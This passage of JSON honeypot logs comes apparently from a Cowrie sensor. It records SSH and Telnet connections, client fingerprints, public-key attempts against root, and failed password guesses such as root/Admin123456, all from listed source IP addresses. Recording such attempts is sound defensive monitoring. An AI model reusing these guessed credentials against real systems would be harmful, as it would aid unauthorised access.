cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.240782Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.293401Z","src_ip":"120.28.109.188","session":"cd83ef612867","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ifDM4AMrY3G/VvVOy85og8KKHo/YSbC9C+225wQQFmtMbZf88MlWmK0LAXf8VBw5Kv/9DLjYvFA+fg05hfu6g42aymhJEds59+QHP9O0WM09x/2jqSQogI5699JjQGLJPc+QEhKagpzgg7TcRzgp423lI8WY++EhQR/4pdtmi0yV/6iaQzVMqwOd/Zxx/iUpfwGdEoONKJxRNeiqTbvbqAJcDRHjDfSK2noHneB5+pqUZKqHEQAyjMZCfja2Jscg4n8zEhKqdWXb9yOxwVsMYfmeL4xSAD1Jvh+ZwifAPVP0XhxaNrfWesQXtEaEN120HY0KGs97rZosVEymlsSP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.715449Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ifDM4AMrY3G/VvVOy85og8KKHo/YSbC9C+225wQQFmtMbZf88MlWmK0LAXf8VBw5Kv/9DLjYvFA+fg05hfu6g42aymhJEds59+QHP9O0WM09x/2jqSQogI5699JjQGLJPc+QEhKagpzgg7TcRzgp423lI8WY++EhQR/4pdtmi0yV/6iaQzVMqwOd/Zxx/iUpfwGdEoONKJxRNeiqTbvbqAJcDRHjDfSK2noHneB5+pqUZKqHEQAyjMZCfja2Jscg4n8zEhKqdWXb9yOxwVsMYfmeL4xSAD1Jvh+ZwifAPVP0XhxaNrfWesQXtEaEN120HY0KGs97rZosVEymlsSP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.719184Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYaokeWIL9U3Alu3vO38NQ2lnYZvSoZYlV88smZSEjhbqeMCW/l4X7VNebicKFvwdMklYSZZg17hQNukxzkAVXaM66NcJU3kntHT4/Ky0hzZ9nWr676NArI8y3f68zEqpk0o+nerMpj++9shicHn/Ou5kkzRsVS+1p7eej35wbRw5x1foMSwPXvfCzsb0NFXDH/3+xdYEZGuUyUq6TE/BmZOJMbTj1N+Jrx7juvWaFcTiUszaWhYZWLKlY30GdVtl8PPtyfP/VtievwUMWdaDkx7WoUWzN9opJl0Jxi7AC1Jc7bmyjK52w9FClWapYYkml/MyBsteT2Rg49Ti7hEJanXi1Ug+5OcUZw7PCRTmoyTUEwas9c2gKS+9//S5yPCtIaFHgmsuUIp/wYX/dgH8ooN/90CcC3ClsgWpr7QhI8U+/UmYeGhgmMgSwNIl6q6j0ZvEwaFjlz2fQ/9HVgE2LiaAddk5f3joqABkKNAhLC/FXpPOgMH557U+oFB4WzPryNxAnJqbe25NccNEm0HjuAnGmEgYPMg7VMdsyKGhuUFXPMrTfIv35IYf/nKTKCS2z76+CGAS9Lj1G9k2r+rhUcyzoD3VHcrmps5gwtcazAanDnZFto1QF9FTyzYzP1JmwjjgyaMi7ciXzGjU5kC5n0ezZIzmRMO8L9X/rIaD/VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.826812Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYaokeWIL9U3Alu3vO38NQ2lnYZvSoZYlV88smZSEjhbqeMCW/l4X7VNebicKFvwdMklYSZZg17hQNukxzkAVXaM66NcJU3kntHT4/Ky0hzZ9nWr676NArI8y3f68zEqpk0o+nerMpj++9shicHn/Ou5kkzRsVS+1p7eej35wbRw5x1foMSwPXvfCzsb0NFXDH/3+xdYEZGuUyUq6TE/BmZOJMbTj1N+Jrx7juvWaFcTiUszaWhYZWLKlY30GdVtl8PPtyfP/VtievwUMWdaDkx7WoUWzN9opJl0Jxi7AC1Jc7bmyjK52w9FClWapYYkml/MyBsteT2Rg49Ti7hEJanXi1Ug+5OcUZw7PCRTmoyTUEwas9c2gKS+9//S5yPCtIaFHgmsuUIp/wYX/dgH8ooN/90CcC3ClsgWpr7QhI8U+/UmYeGhgmMgSwNIl6q6j0ZvEwaFjlz2fQ/9HVgE2LiaAddk5f3joqABkKNAhLC/FXpPOgMH557U+oFB4WzPryNxAnJqbe25NccNEm0HjuAnGmEgYPMg7VMdsyKGhuUFXPMrTfIv35IYf/nKTKCS2z76+CGAS9Lj1G9k2r+rhUcyzoD3VHcrmps5gwtcazAanDnZFto1QF9FTyzYzP1JmwjjgyaMi7ciXzGjU5kC5n0ezZIzmRMO8L9X/rIaD/VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.831068Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUs5q/LmRl0aaXMqNRdVAVOTq6ieJj/DFftv40MM1OsYmWOr9OajRH8/XtlnFfNEjEQtYnSjr9WpKLHFn8CjvA+p/Oyc/bWbbBppY5+xHHr1WHtApmiN2KkB6ocIM6rWyDn50ts0F6HWpkXtCNCKgLWqW2j05X/lhjB/U312iT/PZf27dkMky5P2ZM6VGssc2gQ23hnGfphggazyC/Sh57hgmWSe1rhUtR8gvjrvJYdMFD+zC++GG3GkOLvGi5ai9+4LvNNTCotIxjQPUAoefcajOu2QLseZ8kVVM6nNsDSbeLk5BgyjeJdOXdNX3e+WXKsf0Pmz4EbrJj4p35QFayv81zuR84XHpGonQApHIjOYZR3YPu3haDPQgiwohKBnduUYBVYqwEc488TUcurc0aMCnmJ13sC50NM27pMrUo5K4QzwqPRFdJN4o10qT5/dCXVIuFrHyIq6M8GoaH1olxXd/xLO4Eyf6X/EqTHa6KczVaWmLhXl5Fw+RxyzOmJSKEhTlRup0mSsUxPJl6371A5GhQ5GajNFnPk1CE5moVR3FJjRkg24JigR6MQKHsMWoQ4odmoj7l6YC2ZKtKYJs9VBAC2sy2HcW4qyg724Q4OG/bCoXAZVHkwkOLmdkORCw/k5TdDN1mtldxhxBb2fmBpnFufxxPKk4n4zpKMFvWNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.934636Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUs5q/LmRl0aaXMqNRdVAVOTq6ieJj/DFftv40MM1OsYmWOr9OajRH8/XtlnFfNEjEQtYnSjr9WpKLHFn8CjvA+p/Oyc/bWbbBppY5+xHHr1WHtApmiN2KkB6ocIM6rWyDn50ts0F6HWpkXtCNCKgLWqW2j05X/lhjB/U312iT/PZf27dkMky5P2ZM6VGssc2gQ23hnGfphggazyC/Sh57hgmWSe1rhUtR8gvjrvJYdMFD+zC++GG3GkOLvGi5ai9+4LvNNTCotIxjQPUAoefcajOu2QLseZ8kVVM6nNsDSbeLk5BgyjeJdOXdNX3e+WXKsf0Pmz4EbrJj4p35QFayv81zuR84XHpGonQApHIjOYZR3YPu3haDPQgiwohKBnduUYBVYqwEc488TUcurc0aMCnmJ13sC50NM27pMrUo5K4QzwqPRFdJN4o10qT5/dCXVIuFrHyIq6M8GoaH1olxXd/xLO4Eyf6X/EqTHa6KczVaWmLhXl5Fw+RxyzOmJSKEhTlRup0mSsUxPJl6371A5GhQ5GajNFnPk1CE5moVR3FJjRkg24JigR6MQKHsMWoQ4odmoj7l6YC2ZKtKYJs9VBAC2sy2HcW4qyg724Q4OG/bCoXAZVHkwkOLmdkORCw/k5TdDN1mtldxhxBb2fmBpnFufxxPKk4n4zpKMFvWNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.939182Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7qeQIWXQiV/3qfZB0IDX6AeTe7yjG1jQ2p+ALjBDXoy0m2aRLTmhFOHMUSQNXQiTrw0gdIIQm3wl+yaUNej0wTijpTQ9EMEqPQI1QKglSNmVLXzj3CLdK5Dw8XSgMGQ3a0/JlTe/hlOtYB23pGeDUBINbbzWyR668l1NTfbACj9KigsfR7xmk8f7xzmT207OPSWq7ib7hAjzARSZfccrVnIULwPAbhBsbAt0uCreRDZzaYExD9ibEEh3zs7SG036i5pRMgKVWJ22CnBCSiHTSPBy2Kpj++jtWOBPOuZUWIhwn+Nr+AFBW9GS1lz8xu1K0WPwsFWb4TSJ+FkeFp5fPtgvuhbO7k/wOZa+rdsMEvBP7698j78xHezXzx4qAy3tA1QxrAZzOr0u0u/+wDxwZPa3so5wlOXLp/JhuDbeDh1QT64dJfh8wH6gTDX6Rj6ROrDkjlaZKGTX7UOA3Zv610hS3lY/joGTCDkTqDOAFo2uvoa9L8QdfRqsqsnD7bja1tMB/XFLXCnOOPMvxSYjor9kwVvvGHPrVSb16V6IgRQwVwwQlmNwPuPyc3IPW4m9XQoKJhVJM3ufv498K5gSZsq5lN/7hhB7AoATmzLEKghZuP3sW6KdDnOrATiF1LiDIH/tNb4g31F7H0kwtJ7cnNzKFumaq6AT2viJTDWHfMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.038371Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7qeQIWXQiV/3qfZB0IDX6AeTe7yjG1jQ2p+ALjBDXoy0m2aRLTmhFOHMUSQNXQiTrw0gdIIQm3wl+yaUNej0wTijpTQ9EMEqPQI1QKglSNmVLXzj3CLdK5Dw8XSgMGQ3a0/JlTe/hlOtYB23pGeDUBINbbzWyR668l1NTfbACj9KigsfR7xmk8f7xzmT207OPSWq7ib7hAjzARSZfccrVnIULwPAbhBsbAt0uCreRDZzaYExD9ibEEh3zs7SG036i5pRMgKVWJ22CnBCSiHTSPBy2Kpj++jtWOBPOuZUWIhwn+Nr+AFBW9GS1lz8xu1K0WPwsFWb4TSJ+FkeFp5fPtgvuhbO7k/wOZa+rdsMEvBP7698j78xHezXzx4qAy3tA1QxrAZzOr0u0u/+wDxwZPa3so5wlOXLp/JhuDbeDh1QT64dJfh8wH6gTDX6Rj6ROrDkjlaZKGTX7UOA3Zv610hS3lY/joGTCDkTqDOAFo2uvoa9L8QdfRqsqsnD7bja1tMB/XFLXCnOOPMvxSYjor9kwVvvGHPrVSb16V6IgRQwVwwQlmNwPuPyc3IPW4m9XQoKJhVJM3ufv498K5gSZsq5lN/7hhB7AoATmzLEKghZuP3sW6KdDnOrATiF1LiDIH/tNb4g31F7H0kwtJ7cnNzKFumaq6AT2viJTDWHfMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.042790Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZCoW+ejD2G3MGtUJobtsu+xsNFQvXgxyg/QgE8OpU2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.142974Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZCoW+ejD2G3MGtUJobtsu+xsNFQvXgxyg/QgE8OpU2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.146896Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.251550Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"a","message":"login attempt [debian/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:25.364440Z","src_ip":"120.28.109.188","session":"cd83ef612867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:26.630249Z","src_ip":"120.28.109.188","session":"cd83ef612867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b1f5c31162","protocol":"telnet","message":"New connection: 3.143.162.210:57108 (159.203.135.109:23) [session: 61b1f5c31162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:06:50.131553Z"}
{"eventid":"cowrie.session.closed","duration":0.030501604080200195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:06:50.161952Z","src_ip":"3.143.162.210","session":"61b1f5c31162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45987,"dst_ip":"10.17.0.5","dst_port":23,"session":"0437c90d88db","protocol":"telnet","message":"New connection: 212.55.149.117:45987 (10.17.0.5:23) [session: 0437c90d88db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:07:13.454070Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.245.237.175","src_port":60581,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d00bda0568b","protocol":"ssh","message":"New connection: 103.245.237.175:60581 (159.203.135.109:22) [session: 2d00bda0568b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:05.619501Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:06.063716Z","src_ip":"103.245.237.175","session":"2d00bda0568b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.245.237.175","src_port":60825,"dst_ip":"159.203.135.109","dst_port":22,"session":"b40c847f01d4","protocol":"ssh","message":"New connection: 103.245.237.175:60825 (159.203.135.109:22) [session: b40c847f01d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:06.336679Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:06.667011Z","src_ip":"103.245.237.175","session":"b40c847f01d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.067542552948,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:12.521485Z","src_ip":"212.55.149.117","session":"0437c90d88db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":35526,"dst_ip":"10.17.0.5","dst_port":22,"session":"2acf4aa80916","protocol":"ssh","message":"New connection: 103.15.226.202:35526 (10.17.0.5:22) [session: 2acf4aa80916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:54.701187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:54.705791Z","src_ip":"103.15.226.202","session":"2acf4aa80916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:54.966406Z","src_ip":"103.15.226.202","session":"2acf4aa80916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456","message":"login attempt [root/Admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:55.735567Z","src_ip":"103.15.226.202","session":"2acf4aa80916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:08:56.995329Z","src_ip":"103.15.226.202","session":"2acf4aa80916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"90709d5438e7","protocol":"telnet","message":"New connection: 128.199.8.54:46290 (159.203.135.109:23) [session: 90709d5438e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:09:14.621429Z"}
{"eventid":"cowrie.session.closed","duration":36.161911964416504,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:09:50.783231Z","src_ip":"128.199.8.54","session":"90709d5438e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":40490,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a615270e4d","protocol":"telnet","message":"New connection: 176.65.149.254:40490 (10.17.0.5:23) [session: 68a615270e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:09:52.685798Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44710,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c0c2b1db8aa","protocol":"telnet","message":"New connection: 128.199.8.54:44710 (159.203.135.109:23) [session: 8c0c2b1db8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:14.898421Z"}
{"eventid":"cowrie.session.closed","duration":29.356456518173218,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:22.042172Z","src_ip":"176.65.149.254","session":"68a615270e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57133,"dst_ip":"10.17.0.5","dst_port":23,"session":"5480421df99e","protocol":"telnet","message":"New connection: 212.55.149.117:57133 (10.17.0.5:23) [session: 5480421df99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:35.435466Z"}
{"eventid":"cowrie.session.closed","duration":31.486117839813232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:46.384407Z","src_ip":"128.199.8.54","session":"8c0c2b1db8aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.46.166.164","src_port":52904,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4d3bddc2a0","protocol":"telnet","message":"New connection: 181.46.166.164:52904 (10.17.0.5:23) [session: fb4d3bddc2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:52.265603Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4395,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa408e22b2c6","protocol":"telnet","message":"New connection: 212.55.149.117:4395 (10.17.0.5:23) [session: fa408e22b2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:10:54.701453Z"}
{"eventid":"cowrie.session.closed","duration":12.028223276138306,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:04.293694Z","src_ip":"181.46.166.164","session":"fb4d3bddc2a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":55230,"dst_ip":"159.203.135.109","dst_port":23,"session":"be7e1dc33bda","protocol":"telnet","message":"New connection: 3.143.162.210:55230 (159.203.135.109:23) [session: be7e1dc33bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:10.526348Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51410,"dst_ip":"10.17.0.5","dst_port":23,"session":"c300398dc5bf","protocol":"telnet","message":"New connection: 212.55.149.117:51410 (10.17.0.5:23) [session: c300398dc5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:18.683000Z"}
{"eventid":"cowrie.session.closed","duration":10.021189451217651,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:11:20.547400Z","src_ip":"3.143.162.210","session":"be7e1dc33bda","protocol":"telnet"}
